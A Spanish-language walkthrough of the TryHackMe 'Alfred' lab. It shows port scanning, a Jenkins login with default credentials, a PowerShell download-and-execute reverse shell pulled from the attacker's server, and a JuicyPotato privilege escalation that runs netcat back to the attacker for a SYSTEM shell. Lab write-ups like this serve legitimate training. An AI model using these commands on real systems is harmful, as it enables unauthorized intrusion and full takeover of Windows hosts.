TryHackMe – Alfred walkthrough

Hola de nuevo! En esta ocasión vamos a resolver la máquina Alfred del Offensive Path de TryHackMe. Es una máquina Windows en la que conseguiremos acceso a un servidor Jenkins dónde tendremos la posibilidad de ejecutar comandos, conseguiremos acceso a la máquina, para posteriormente elevar privilegios gracias a los tokens de autenticación de Windows.

Reconocimiento de puertos abiertos

Vamos a hacer una búsqueda de todos los puertos TCP que estén abiertos.

nmap -p- --open -T5 10.10.91.68 -v -n -oG allPorts

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-18 19:52 CET
Initiating Ping Scan at 19:52
Scanning 10.10.91.68 [2 ports]
Completed Ping Scan at 19:52, 0.05s elapsed (1 total hosts)
Initiating Connect Scan at 19:52
Scanning 10.10.91.68 [65535 ports]
Discovered open port 80/tcp on 10.10.91.68
Discovered open port 3389/tcp on 10.10.91.68
Discovered open port 8080/tcp on 10.10.91.68
Connect Scan Timing: About 26.13% done; ETC: 19:54 (0:01:28 remaining)
Connect Scan Timing: About 62.52% done; ETC: 19:54 (0:00:37 remaining)
Completed Connect Scan at 19:54, 99.27s elapsed (65535 total ports)
Nmap scan report for 10.10.91.68
Host is up (0.048s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 99.38 seconds

Ahora que sabemos que puertos hay abiertos, le lanzamos scripts básicos de enumeración.

nmap -p80,3389,8080 -sCV 10.10.91.68 -n -oN Alfred.nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-18 20:11 CET
Nmap scan report for 10.10.91.68
Host is up (0.047s latency).

PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/7.5
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: ALFRED
|   NetBIOS_Domain_Name: ALFRED
|   NetBIOS_Computer_Name: ALFRED
|   DNS_Domain_Name: alfred
|   DNS_Computer_Name: alfred
|   Product_Version: 6.1.7601
|_  System_Time: 2021-12-18T19:12:41+00:00
|_ssl-date: 2021-12-18T19:12:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2021-12-17T18:48:46
|_Not valid after:  2022-06-18T18:48:46
8080/tcp open  http               Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.70 seconds

Nmap nos reporta que tenemos tres puestos abiertos de los cuales son dos servicios HTTP y un tercero RDP en el puerto 3389.

Accediendo a los servicios HTTP

En el puerto 80 no hay mucha información a parte de lo que podemos ver en la imagen de arriba, vamos a echar un vistazo al puerto 8080.

Nos encontramos un formulario de autenticación de Jenkins. No tenemos mucha información, quizá el user alfred del puerto 80 con el que podríamos aplicar fuerza bruta, pero antes podemos probar combinaciones típicas de usuario y contraseña, por ejemplo en este caso usamos admin:admin para loguearnos.

Accediendo a Jenkins

Vale, estamos como admin dentro del panel de administración de Jenkins. Deberíamos tener privilegios para crear un proyecto en el cuál ejecutaremos comandos a nivel de sistema. Vamos a probar.

En el menú izquierdo, clickaríamos en New Item, le indicamos el nombre que queremos para el proyecto, seleccionamos Freestyle Project y confirmamos con el botón OK.

En la siguiente ventana, nos dirigimos a la pestaña Build y seleccionamos Execute Windows batch command.

Aquí podremos indicarle que comandos queremos ejecutar, vamos a probar si realmente tenemos ejecución de comandos con un whoami.

Cuándo se haya ejecutado, nos saldrá información en el historial, ahí podremos ver el output de nuestro comando.

Perfecto! Tenemos ejecución de comandos como usuario bruce.

Consiguiendo acceso a la máquina

Vamos a hacer uso de Invoke-PowerShellTcp.ps1 para entablarnos la Reverse-Shell. Al final del script, añadimos la función que queremos usar, en este caso la de Reverse-Shell.

Nos compartimos el script con python y nos ponemos a la escucha con netcat en el puerto 443.

Nos vamos al jenkins y le decimos que nos haga una petición a nuestro servidor para que coja nuestro script.

powershell iex (New-Object Net.WebClient).DownloadString('http://10.8.27.100/Invoke-PowerShellTcp.ps1')

Genial! Nos hizo la petición correctamente y recibimos la conexión entrante de la máquina Alfred.

Escalación de privilegios

Si enumeramos los privilegios asociados a nuestro usuario con “whoami /priv”, veremos que tenemos habilitado el SeImpersonatePrivilege.

Con JuicyPotato podemos abusar de este privilegio para ejecutar comandos como NT Authority\System. Vamos a ello!

Nos descargamos el binario en releases, lo metemos en el mismo directorio junto con netcat, lo compartimos con impacket-smbserver y nos ponemos a la escucha con netcat.

Tenemos todo listo en nuestra máquina atacante, queda irnos a la máquina víctima y lanzar este comando.

\\10.8.27.100\a\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c \\10.8.27.100\a\nc.exe -e cmd 10.8.27.100 444" -t *

Esa línea lo que está haciendo es acceder al binario JuicyPotato y ejecutarlo con los diferentes parametros que necesita. En la siguiente imagen veremos su uso, sus parámetros obligatorios y los opcionales.

En la parte superior de la imagen vemos como lanzamos el comando y creamos el proceso con el token satisfactoriamente. También vemos la conexión entrante a nuestro servidor como usuario Alfred accediendo a los recursos compartidos. Y finalmente en la parte inferior, recibimos en nuestro netcat una cmd como NT Authority\System.